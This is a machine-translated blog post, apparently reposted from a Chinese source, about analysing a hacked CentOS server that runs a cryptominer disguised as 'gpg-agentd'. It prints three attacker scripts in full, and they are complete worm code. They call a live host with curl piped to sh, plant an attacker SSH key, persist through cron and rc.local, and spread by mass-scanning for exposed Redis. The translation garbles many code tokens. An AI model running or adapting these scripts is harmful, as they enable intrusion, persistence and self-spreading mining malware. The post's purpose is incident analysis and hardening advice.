久しぶりに、Linux(ハッキングされた)の侵入を思い出してください...

Python戦闘コミュニティ

Java戦闘コミュニティ

長押しして以下のQRコードを特定し、必要に応じて追加します

QRコードをスキャンして、カスタマーサービスを追加します

Pythonコミュニティに参加する▲

QRコードをスキャンして、カスタマーサービスを追加します

Javaコミュニティに参加する

ソース丨ネットワークセキュリティプログラミングとハッカープログラマー

https://mp.weixin.qq.com/s/LPMoORacJyDYtE74-zrF1w

0x00背景

月曜日の朝にオフィスに着くとすぐに、同僚がサーバーの1つにログインできなかったと言うのを聞いた。私はそれを真剣に受け止めなかった。私は朝食を食べ続け、通貨価格が再び下がるかどうかを確認した。しばらくすると、運用保守の同僚も到着し、息を切らして言いました。サーバーの1つがAlibaba Cloudによってフリーズされました。理由:悪意のあるアウトソーシング。私はsauerkrautの詰め物をしたパンを置き、しばらくの間sshを接続し、拒否され、デフォルトのポート22がブロックされていることを尋ねました。運用・保守の同僚にポートの変更を依頼してすぐに接続しましたが、ちなみにログイン名:rootとXiaobaiのパスワードを8桁未満で見て冷たく感じました:ハッキングされました!



0x01手がかりを見つける

サーバーシステムCentOS6.Xは、nginx、tomcat、redis、およびその他のアプリケーションを展開しました。最初にデータベースをローカルにバックアップし、次にtopコマンドをチェックします。gpg-agentdと呼ばれる同じ名前の2つの99%プロセスがまだ実行されています。


出典:Hefe Kan Snow Academy

gpgをググったところ、結果は次のとおりでした。

GPGが提供するgpg-agentは、SSHプロトコルのサポートを提供します。これにより、キー管理を大幅に簡素化できます。

 

非常に深刻なプログラムのように見えますが、サーバー上のプロセスを注意深く見て、その後に文字dが続きます。これは非常に偽装されており、Windows上のsvchost.exeのように見えるさまざまなウイルスを人々に思い出させます。続ける

psehoコマンド-p23374

netstat -pan | grep 23374

pid:23374プロセスの起動パスとネットワークステータスを確認します。つまり、図1のディレクトリに移動し、ハッカーが残したバイナリ実行可能ファイルを見つけます。次に私を待っている2つの質問があります:

1.ファイルはどのようにアップロードされますか?
2.このファイルの目的は何ですか、またはハッカーは何をしたいですか?

 

履歴を見ると、記録はすべてクリアされ、痕跡は残っていません。さらにメッセージを注文し続けます、


深夜12時頃にサーバーにたくさんのソフトウェアがインストールされているのを見ましたが、そのうちのいくつかが気になりました。詳しくは以下で説明します。検索中に推測して、何か悪いことをした場合、どこで大騒ぎして自動的に開始するのでしょうか?タイミングスタート?はい、タスクを計画します。

crontab -e


案の定、手がかりが見つかりました。



0x02動機

上記のスケジュールされたタスクは、15分ごとにサーバーからスクリプトをダウンロードしてスクリプトを実行することを意味します。スクリプトをダウンロードして見てみましょう。

curl -fsSL 159.89.190.243/ash.php> ash.sh

スクリプトの内容は次のとおりです。

うなめ-a

id

ホスト名

setenforce 0 2> / dev / null

ulimit -n 50000

ulimit -u 50000

crontab -r 2> / dev / null

rm -rf / var / pool / cron / * 2> / dev / null

mkdir -p / var / pool / cron / crontabs 2> / dev / null

mkdir -p /root/.ssh 2> / dev / null

エコー 'のssh-rsaのAAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa / oKCWk0NNKmMza8YGLBiJsq / zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB / B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo / szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph / xBj8wGKpHFP0xMbSNdZ / cmLMZ5S14XFSVSjCzIa0 + xigBIrdgo2p5nBtrpYZ2 / GN3 + THY + PNUqx redisX'> /root/.ssh/authorized_keys

echo '* / 15 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / pool / cron / root

echo '* / 20 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / pool / cron / crontabs / root

 

yum install -y bash 2> / dev / null

apt install -y bash 2> / dev / null

apt-get install -y bash 2> / dev / null

 

bash -c'curl -fsSL 159.89.190.243/bsh.php|bash '2> / dev / null

スクリプトの主な目的を大まかに分析します。

1つ目は、SELinuxを閉じ、シェルリソースのアクセス制限を削除してから、/ root / .ssh / authorized_keysファイルにssh公開キーを生成して、ハッカーがこのサーバーにログインするたびに、パスワードなしでログインできるようにすることです。スクリプトを実行すると、はるかに便利になります。 sshキーに関する記事については、SSHの原理とアプリケーションに関するこの記事を参照してください。次にbashをインストールし、最後に2番目のスクリプトbsh.phpをダウンロードして実行します。

 

bsh.pbpのダウンロードと分析を続けます。内容は次のとおりです。

sleep $(seq 3 7 | sort -R | head -n1)

cd / tmp || cd / var / tmp

睡眠1

mkdir -p .ICE-unix / ... && chmod -R 777 .ICE-unix && cd .ICE-unix / .. ..

睡眠1

if [-f .watch]; その後

rm -rf .watch

出口0

あります

睡眠1

エコー1> .watch

睡眠1

ps x | awk '!/ awk / && / redisscan | ebscan | redis-cli / {print $ 1}' | xargs kill -9 2> / dev / null

ps x | awk '!/ awk / && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $ 1}' | xargs kill -9 2> / dev / null

睡眠1

もし![-x / usr / bin / gpg-agentd]; その後

curl -s -o / usr / bin / gpg-agentd 159.89.190.243/dump.db

エコー '/ usr / bin / gpg-agentd'> /etc/rc.local

echo'curl -fsSL 159.89.190.243/ash.php|sh '>> /etc/rc.local

echo'exit 0 '>> /etc/rc.local

あります

睡眠1

chmod + x / usr / bin / gpg-agentd && / usr / bin / gpg-agentd || rm -rf / usr / bin / gpg-agentd

睡眠1

もし![-x "$(command -v masscan)"]; その後

rm -rf / var / lib / apt / lists / *

rm -rf x1.tar.gz

if [-x "$(command -v apt-get)"]; その後

エクスポートDEBIAN_FRONTEND = noninteractive

apt-get update -y

apt-get install -y debconf-doc

apt-get install -ybuild-essential

apt-get install -y libpcap0.8-dev libpcap0.8

apt-get install -y libpcap *

apt-get install -y make gcc git

apt-get install -y redis-server

apt-get install -y redis-tools

apt-get install -y redis

apt-get install -y iptables

apt-get install -y wget curl

あります

if [-x "$(command -v yum)"]; その後

yum update -y

yum install -y epel-release

yum update -y

yum install -y git iptables make gcc redis libpcap libpcap-devel

yum install -y wget curl

あります

睡眠1

curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz

睡眠1

[-f x1.tar.gz] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4

あります

スリープ3 && rm -rf .watch

bash -c'curl -fsSL 159.89.190.243/rsh.php|bash '2> / dev / null

このスクリプトのコードは比較的長いですが、4つの主要な機能があります。

1.リモートコードをローカルにダウンロードし、実行権限chmod u + xを追加します。
2. rc.localを変更して、起動時にローカルコードが自動的に実行されるようにします。
3. githubでオープンソーススキャナーコードをダウンロードし、関連する依存ソフトウェアをインストールします。これは、上記のメッセージで見た記録です。
4. 3番目のスクリプトをダウンロードして、実行します。

 

githubにアクセスして、このオープンソースコードを確認しました。とても簡単です。

MASSCAN:マスIPポートスキャナー
これは最速のインターネットポートスキャナーです。インターネット全体を6分以内にスキャンでき、1秒あたり1,000万パケットを送信します。

最も有名なポートスキャナーであるnmapと同様の結果が得られます。内部的には、非同期送信を使用して、scanrand、unicornscan、ZMapのように動作します。主な違いは、これらの他のスキャナーよりも高速であるということです。さらに、より柔軟性があり、任意の>アドレス範囲とポート範囲を許可します。

注:masscanはカスタムTCP / IPスタックを使用します。単純なポートスキャン以外のものは、ローカルTCP / IPスタックとの競合を引き起こします。つまり、-Sオプションを使用して別のIPアドレスを使用するか、masscanが使用するポートをファイアウォールで保護するようにオペレーティングシステムを構成する必要があります。

 

nmapよりも高速な毎秒1,000万パケットの送信(毎秒1,000万パケットの送信)。AlibabaCloudがサーバーをフリーズする理由を理解するのは難しいことではありません。readmeを読んだ後、詳細には触れませんでした。 3番目のスクリプトをダウンロードします。

setenforce 0 2> / dev / null

ulimit -n 50000

ulimit -u 50000

睡眠1

iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2> / dev / null

iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2> / dev / null

睡眠1

rm -rf .dat .shard .ranges .lan 2> / dev / null

睡眠1

echo'config set dbfilename "backup.db"> .dat

エコー '保存' >> .dat

echo'flushall '>> .dat

echo'set backup1 "\ n \ n \ n * / 2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat

echo'set backup2 "\ n \ n \ n * / 3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat

echo'set backup3 "\ n \ n \ n * / 4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat

echo'set backup4 "\ n \ n \ n * / 5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat

echo'config set dir "/ var / pool / cron /" '>> .dat

echo'config set dbfilename "root" '>> .dat

エコー '保存' >> .dat

echo'config set dir "/ var / pool / cron / crontabs" '>> .dat

エコー '保存' >> .dat

睡眠1

masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/ 22000 --exclude 255.255.255.255 0.0.0.0/0 2> / dev / null | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .shard

睡眠1

-rhpを読みながら; 行う

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&

完了<.shard

睡眠1

masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2> / dev / null | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .ranges

睡眠1

-rhpを読みながら; 行う

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&

完了<.ranges

睡眠1

ip a | grep -oE '([0-9] {1,3}。?){4} / [0-9] {2}' 2> / dev / null | sed's / \ / \([0-9] \ {2 \} \)/ \ / 16 / g '> .inet

睡眠1

masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .lan

睡眠1

-rhpを読みながら; 行う

cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&

完了<.lan

睡眠60

rm -rf .dat .shard .ranges .lan 2> / dev / null

最初の2つのスクリプトがサーバー上でバイナリファイルのみをダウンロードして実行する場合、このスクリプトは実際にウイルスの力を示しています。以下でこのスクリプトを分析してみましょう。

最初にシステム環境を変更することについては何も言うことはありません。次のファイル書き込み操作は少しおなじみです。redisを使用したことがある場合は、これがredisの構成であると推測できるはずです。この構成を作成すると、redisの脆弱性を利用して、キャッシュされたコンテンツをローカルファイルに書き込むことができます。その結果、ローカル秘密鍵を使用して、公開鍵が書き込まれるサーバーにログインします。この記事の冒頭にあるパスワードなしでログインできます。 /Root/.ssh/authorized_keys。ログイン後、スケジュールされたタスクが定期的に実行され、スクリプトがダウンロードされます。構成ファイルの準備ができたら、masscanを使用してネットワーク全体でredisサーバーをスキャンし、ブロイラーを見つけます。6379がredisサーバーのデフォルトポートであることに注意してください。redisリスニングポートがパブリックIPまたは0.0.0.0の場合、そしてパスワード保護はありません、申し訳ありませんが、あなたは採用されます。



0x03の概要

これら3つのスクリプトを順番に分析することで、このウイルスのひどい部分を確認できます。まず、ssh公開キーを書き込んでログイン許可を取得し、次にリモートバイナリファイルをダウンロードして実行し、最後にredisの脆弱性をコピーして、ネットワーク全体にすばやく拡散します。 、指数関数的に増加します。それで問題は、このサーバーがどのように捕らえられたのかということです。redis.confを読んだ後、バインドのアドレスは127.0.0.1で、問題ありません。このことから、ルートアカウントは残酷にクラックされているはずだったと推測できます。私の考えを検証するために、lastbを調べましたが、多くの記録があります。


最後の質問が1つあります。このgpg-agentdプログラムは何をするのでしょうか。当時の私の最初の反応はマイニングマシンでした。デジタル通貨が高すぎて、分散型マイニングマシンの需要が高まり、この灰色の産業チェーンが誕生したからです。それで、私はこのgpg-agentdをidaにドラッグし、bitcoin、eth、mine、およびその他の関連する単語を文字列で検索し、最終的にこれを見つけました:


 

nicehash.comを開いて見てください、すべてが明確です。



0x04セキュリティアドバイス

1.サーバー

1.ROOTを無効にします
2.ユーザー名とパスワードをできるだけ複雑にし
ます3.sshのデフォルトポート22を変更します
4.DenyHostsアンチブルートフォースソフトウェアをインストールします
5.パスワードログインを無効にし、RSA公開キーを使用してログインします


2、redis


1.0.0.0.0を含むパブリックIPモニタリングを無効にします。2。パスワードを使用してredisへのアクセスを制限します。3
。下位の権限のアカウントを使用してredisを実行します。

 

この時点で、侵入プロセス全体が基本的に分析されています。サンプルに興味がある場合は自分でカールするか、仮想マシンに移動して上記のスクリプトを実行することもできます。私の能力の限界を考えると、記事に怠慢や間違いがあることは避けられません。訂正してください。

程序员专栏 扫码关注填加客服 长按识别下方二维码进群

近期精彩内容推荐:   中美日印程序员收入对比 程序员 悲催的一天 SringMVC从入门到源码,这一篇就够 10个Python可视化动图,用心且精美


在看点这里好文分享给更多人↓↓

おすすめ

転載: blog.csdn.net/Px01Ih8/article/details/109233532